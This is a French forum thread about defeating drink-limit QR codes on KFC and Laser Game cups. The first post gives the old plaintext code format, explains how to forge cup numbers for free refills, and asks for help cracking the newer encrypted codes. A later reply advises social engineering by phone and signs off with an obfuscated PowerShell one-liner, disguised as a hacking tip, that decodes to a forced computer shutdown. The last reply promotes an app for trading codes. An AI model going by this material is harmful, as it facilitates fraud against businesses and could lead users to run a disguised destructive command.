Annonce

Réduire
Aucune annonce.

QR Code pour les boissons illimité (KFC, Laser Game, ...)

Réduire
X
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • QR Code pour les boissons illimité (KFC, Laser Game, ...)

    Bonjour à tous,

    En 2017, une loi est passée interdisant la vente de boisson dite "illimité" partout en France. Tous les établissements qui proposaient déjà de l'illimiter (KFC, Laser Game, ...) ont dû mettre à jour leur installation pour rendre l'illimité, limité. Pour mettre en place cette limite, ils ont eu recours à des QR Code directement imprimé sur le gobelet. Ce QR Code scanné par la machine délivre une quantité bien précise et limité de boisson (généralement, la taille du gobelet).

    La première version du système fonctionne très bien, mais n'est absolument pas sécurisée. Les données enregistrées dans le QR Code sont facilement compréhensibles (par presque n'importe qui). Voilà des exemples de données :
    Code:
    WBCB;SERVICE;1;{NUMERO_DE_GOBELET_UNIQUE};{TAILLE_GOBELET_EN_CL}
    WBCB;SERVICE;1;33398459537;100
    WBCB;SERVICE;1;33398459538;50
    WBCB;SERVICE;1;33398459539;25
    WBCB;SERVICE;1;12345678901;100
    ...
    On peut facilement mettre un chiffre complètement aléatoire en numéro de gobelet et y laisser 100cl pour pourvoir se resservir facilement.

    Mais début 2018, la société qui met en place ce système de QR Code à changer les données et leur algorithme.
    Maintenant, on se retrouve plus avec quelque chose de ce genre lorsque l'on scanne le QR Code (exemple de gobelet de 25cl et 40cl) :
    Code:
    1NW05NS4/tXWgrBVri3hNPav8BfGHLORm8f509nTi3pKbt2O4Uc=
    qmf6WNYzifBnhfQV1RkJlXqlyNrjB4jpFqiyDbO4Cuh4c6n40Y4=
    Bien entendu, c'est du Base64, mais une fois décoder, cela ne donne pas du texte compréhensible (comme avant). J'ai alors exporté les données par bloc d'hexadécimal, et même par bloc de décimal, mais je n'ai trouvé aucune cohérence d'un QR Code à l'autre. Aucun bloque qui reviens souvent, n'y même d'incrémentation.

    Je commence à me dire que les données sont tous simplement crypté (oui, même pour un système aussi basique). Mais je n'arrive pas à déterminé quel algorithme est utilisé ici. J'aurai tendance à dire de l'AES (car je ne vois pas ce que du RSA viendrai foutre ici) et aussi que si je crypte avec AES les données de la première version (ex: "WBCB;SERVICE;1;33398459537;100", sur ce site : https://www.movable-type.co.uk/scripts/aes.html), on trouve un résultat semblable à la nouvelle version (en terme de taille/nombre de bloc).

    Je viens donc ici pour trouvé de l'aide, échanger avec tout le monde, trouver des idées, trouver des personnes qui serais intéressé pour cassé la sécurité, ... Car seul, je n'est pas les compétence nécessaire pour y parvenir.

    De plus, je mets à disposition un fichier qui contient un panel de QR Code avec différentes enseignes et taille de gobelet. Je le mettrais à jour dés que j'en aurais l'occasion (vous pouvez m'envoyer en MP de nouveaux QR Code, je les ajouterais) : Boisson QR-Code (Google Sheet)

    Informations supplémentaires :
    • Pour le moment, j'ai recensé que 2 enseignes qui on l'aire d'utiliser le même système de QR Code : KFC et Laser Game
    • Site qui génére des QR Code avec la première version (qui ne fonctionne plus dans les restautants) : kfcqrcode.com
    • Site pratique pour la conversion de données : conv.darkbyte.ru
    Dernière modification par RobertTheBruce, 02 avril 2018, 14h04.

  • #2
    Salut,

    Le truc étrange, c'est que la longueur des données chiffrées est toujours la même. Ca ferrai limite penser à l'utilisation d'une fonction de hashage plutôt que du chiffrement mais :
    - Le coté non réversible du truc, en plus de ne présenter aucun intérêt, complexifierai vachement les choses pour eux
    - je connais aucune fonction de hashage qui output sur 304 bits

    Du coup plusieurs hypothèses :
    - Les données sont hashées via un truc maison, pas documenté -> C'est mort
    - les données sont effectivement chiffrées (impossible de deviner l'algo, te laisse pas avoir pas cette histoire de "résultat semblable" tout ce qui passe dans du base64 rend les choses "semblables". Là c'est juste pour faire en sorte que les données soient converties en caractères imprimables une fois en ASCII (ce que ne font pas les fonctions cryptographiques, c'est pas fait pour ça, elles sortent du binaires) -> Tu peux toujours essayer de t'amuser à bruteforcer quelque chose mais le constat est, là encore à mon sens -> C'est mort.

    Au delà de ces galères techniques ya tout de même une solution qui fonctionne à 100%, c'est de prendre le téléphone. je te laisse faire preuve d'imagination
    Hack like a pro :
    PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

    Commentaire


    • #3
      Salut !

      J'ai développer une application Android qui permet de générer des QRCode pour avoir des boissons gratuites même avec le nouveau système. Le fonctionnement est simple, j'ai remarqué que un QRCode peut fonctionner dans plusieurs KFC. En effet les distributeurs n'ont pas une base de donné en commun, ce qui fait que un QRCode est nouveau pour chaque distributeur. J'ai aussi remarqué que un QRCode utilisé dans un KFC remarche dans ce même KFC quelques jours plus tard (1 semaines ? 1 jour ?.. Je ne sais pas vraiment j'ai essayé avec un vieux gobelet que j'avais).
      J'ai donc développé une application qui permet a chacun de poster son QRCode en échange de deux autres.
      Je n'ai pas pris le temps de tester dans un KFC, j'ai déjà mit tout tes QRCode donc en échange je peux te donner des points sur mon application.

      Voici le lien: https://play.google.com/store/apps/d...hadj.kfcqrcode

      Commentaire

      Chargement...
      X